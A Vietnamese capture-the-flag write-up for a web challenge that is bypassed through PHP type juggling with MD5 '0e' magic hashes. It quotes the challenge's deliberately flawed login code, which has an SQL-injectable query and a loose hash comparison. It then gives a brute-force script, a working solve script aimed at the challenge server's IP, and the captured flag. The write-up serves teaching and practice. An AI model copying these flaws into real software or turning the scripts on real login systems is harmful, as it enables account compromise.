# Task ![image](https://hackmd.io/_uploads/SJyl8rnL6.png) ## Recon Khi vừa vào trong trang web là một cái trang để mình có thể đăng nhập vào ![image](https://hackmd.io/_uploads/ry1V8r3Lp.png) Nhưng các bạn nhập thế nào đi chăng nữa cũng chẳng có gì xảy ra cả đâu nên là mình bắt đầu review source code Sau khi thực hiện static analysis thì mình thấy cái phần mình cần tấn công nó nằm ở khu vực này ```php= if ($_SERVER["REQUEST_METHOD"] == "POST") { $username = $_POST['username']; $password = $_POST['password']; if (empty($username) || empty($password)) { echo "Please fill in both fields."; } else { $query = "SELECT username, password, bio FROM users WHERE username = '$username' "; $result = $conn->query($query); $mysupersecurehash = md5(2*2*13*13*((int)$password)); var_dump($password); echo "<br>"; echo "mysupersecurehash:"; var_dump($mysupersecurehash); echo "<br>"; $i =0 ; while ($row = mysqli_fetch_row($result)) { echo "row 1: befor using (int)" . $row[1]; echo "<br>"; echo "row 1: after using (int)" . (int)$row[1]; if ((int)$row[1] == $mysupersecurehash) { echo "First condition done!"; } if((int)$row[1] == $mysupersecurehash && $mysupersecurehash == 0e0776470569150041331763470558650263116470594705){ echo "<h1>You win</h1> \n"; echo "Did you really? \n"; echo "<tr><td>" .$i. " </td><td> " . $row[0] . " </td><td> " . $row[1] . " </td><td> " . $row[2] . " </td></tr>"; $i++; }else{ echo "<h1>Wrong password</h1>"; } ``` Khi mình thấy sử dụng là "==" là mình biết ngay là phải dùng đến php type juggling rồi nhưng trước khi thực hiện được type juggling thì biến password của chúng ta sẽ bị nhân thêm một chút nó sẽ nhân thêm 2 * 2 * 13 * 13 sau đó thì lưu vào biến mysupersecurehash sau đó thì thực hiện so sánh đầu tiên là ép kiểu row[1] thành integer và so với cái biến hash md5 của chúng ta và so sánh cái biến mysupersecurehash đấy với một giá trị md5 Hướng đi của mình là tìm ra được một giá trị mà sau khi nó nhân với một loạt các số ở trên thì nó sẽ ra được một đoạn hash chứa giá trị là 0e bởi khi 0e bị ép kiểu thì sẽ trở thành là 0 và 0 = "0e123" có thể xem thêm ở [đây](https://viblo.asia/p/php-type-juggling-924lJPYWKPM) Ở trong đoạn sql để tạo các user ta cũng có thể thấy được rằng ```sqli= -- Create the 'users' table CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255), password VARCHAR(255), bio TEXT ); -- Insert 500 random values into the 'users' table DELIMITER // CREATE PROCEDURE GenerateRandomUsers() BEGIN DECLARE i INT DEFAULT 0; WHILE i < 500 DO IF i = 100 THEN INSERT INTO users (username, password, bio) VALUES ( CONCAT('admin', i), 'REDACTED', 'Flag{REDACTED}' ); ELSE INSERT INTO users (username, password, bio) VALUES ( CONCAT('admin', i), MD5(CONCAT('admin',i,RAND())), CONCAT('Bio for admin', i) ); END IF; SET i = i + 1; END WHILE; END // DELIMITER ; -- Call the procedure to generate random users CALL GenerateRandomUsers(); -- Drop the procedure (optional) DROP PROCEDURE IF EXISTS GenerateRandomUsers; ``` Password sẽ được lưu ở dạng md5 nên mình khá chắc là phải bruteforce tìm ra được một số sau khi hash có bắt đầu là "0e" Mình viết một đoạn script nhỏ để có thể đẩy nhanh quá trình ```python= import re import hashlib pattern = re.compile(r'^0e\d+$') md5jugging = 0 for i in range(1, 1000000): result = hashlib.md5(str(i * 2 * 2 * 13 * 13).encode()).hexdigest() if pattern.match(result): print(f"Found {i} has an md5 hash starting with 0e: {result}") md5jugging = i break ``` Mình có giá trị là 355933 sau khi chạy đoạn script trên ![image](https://hackmd.io/_uploads/SJtU2r3Ip.png) Có giá trị để gây ra php type juggling rồi giờ thì viết script để tìm flag thôi ```python= import requests from bs4 import BeautifulSoup import re import hashlib pattern = re.compile(r'^0e\d+$') md5jugging = 0 for i in range(1, 1000000): result = hashlib.md5(str(i * 2 * 2 * 13 * 13).encode()).hexdigest() if pattern.match(result): print(f"Found {i} has an md5 hash starting with 0e: {result}") md5jugging = i break url = "http://34.132.132.69:8000/?user=all" response = requests.get(url).text soup = BeautifulSoup(response, "html.parser") user_list = [] rows = soup.find_all("tr") for row in rows: td_tags = row.find_all("td") if (len(td_tags) >= 3) and (td_tags[2].text.startswith("0e")): user_dict = { 'username': td_tags[1].text, 'password': td_tags[2].text } user_list.append(user_dict) for data in user_list: payload = { "username" : data["username"], "password" : f"{md5jugging}" } response = requests.post(url="http://34.132.132.69:8000/", data=payload).text if ("You win" in response): soup2 = BeautifulSoup(response, "html.parser") notification = soup2.find_all("td") for noti in notification: if ("flag" in noti.text): print(noti.text) break ``` ## Flag ![image](https://hackmd.io/_uploads/Hyrj3H3Ip.png) ``` flag{1m40_php_15_84d_47_d1ff323n71471n9_7yp35} ``` Toàn bộ source code có thể xem ở [đây](https://github.com/khacminh03/CTF-Write-Up/tree/main/backdoorCTF/too-many-admins)